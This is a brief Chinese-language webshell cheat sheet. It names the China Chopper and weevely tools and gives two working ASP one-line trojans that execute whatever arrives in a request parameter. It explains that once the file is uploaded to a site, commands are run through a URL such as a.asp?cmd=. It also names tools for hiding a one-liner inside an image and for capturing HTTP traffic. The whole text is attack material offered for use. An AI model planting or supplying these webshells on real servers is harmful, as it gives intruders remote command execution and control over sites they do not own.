webshell利用

一句話工具
weevely，中國菜刀

asp一句話木馬
<%execute request("value")%>

咱們上傳了一句話木馬後，可用中國菜刀進行鏈接
<%eval request("cmd")%>

原理 ：執行http://xxxx/a.asp?cmd=phpinfo()
a.asp是一句話木馬所在的位置

製做圖片一句話
C32asm

抓http包
wsexplorer 根據應用顯示抓的包